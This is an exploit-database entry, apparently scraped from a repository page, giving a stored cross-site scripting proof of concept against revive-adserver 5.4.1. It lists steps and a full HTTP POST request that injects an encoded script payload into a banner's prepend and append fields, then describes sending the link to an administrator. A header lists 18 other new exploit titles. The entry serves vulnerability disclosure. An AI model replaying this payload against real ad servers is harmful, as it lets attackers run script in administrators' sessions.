668314bbda
19 changes to exploits/shellcodes/ghdb FS-S3900-24T4S - Privilege Escalation Virtual Reception v1.0 - Web Server Directory Traversal admidio v4.2.5 - CSV Injection Companymaps v8.0 - Stored Cross Site Scripting (XSS) GLPI 9.5.7 - Username Enumeration OpenEMR v7.0.1 - Authentication credentials brute force PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross Site Scripting PHPFusion 9.10.30 - Stored Cross-Site Scripting (XSS) PHPJabbers Simple CMS 5.0 - SQL Injection PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS) phpMyFAQ v3.1.12 - CSV Injection projectSend r1605 - Private file download revive-adserver v5.4.1 - Cross-Site Scripting (XSS) Serendipity 2.4.0 - File Inclusion RCE SoftExpert (SE) Suite v2.1.3 - Local File Inclusion Advanced Host Monitor v12.56 - Unquoted Service Path MilleGPG5 5.9.2 (Gennaio 2023) - Local Privilege Escalation / Incorrect Access Control
49 lines
No EOL
1.8 KiB
Text
49 lines
No EOL
1.8 KiB
Text
Exploit Title: revive-adserver v5.4.1 - Cross-Site Scripting (XSS)
|
|
Application: revive-adserver
|
|
Version: 5.4.1
|
|
Bugs: XSS
|
|
Technology: PHP
|
|
Vendor URL: https://www.revive-adserver.com/
|
|
Software Link: https://www.revive-adserver.com/download/
|
|
Date of found: 31-03-2023
|
|
Author: Mirabbas Ağalarov
|
|
Tested on: Linux
|
|
|
|
|
|
2. Technical Details & POC
|
|
========================================
|
|
steps:
|
|
|
|
1. Go to create banner
|
|
2. select the advanced section
|
|
3. Write this payload in the prepend and append parameters (%3Cscript%3Ealert%281%29%3C%2Fscript%3E)
|
|
|
|
POST /www/admin/banner-advanced.php HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 213
|
|
Cache-Control: max-age=0
|
|
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
|
|
sec-ch-ua-mobile: ?0
|
|
sec-ch-ua-platform: "Linux"
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://localhost
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-User: ?1
|
|
Sec-Fetch-Dest: document
|
|
Referer: http://localhost/www/admin/banner-advanced.php?clientid=3&campaignid=2&bannerid=2
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: sessionID=5224583cf474cd32d2ef37171c4d7894
|
|
Connection: close
|
|
|
|
clientid=3&campaignid=2&bannerid=2&token=94c97eabe1ada8e7ae8f204e2ebf7180&prepend=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&append=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submitbutton=De%C4%9Fi%C5%9Fiklikleri+Kaydet
|
|
|
|
|
|
|
|
We are sending this link to the admin. then if admin clicks it will be exposed to xss
|
|
|
|
http://localhost/www/admin/banner-advanced.php?clientid=3&campaignid=2&bannerid=2 |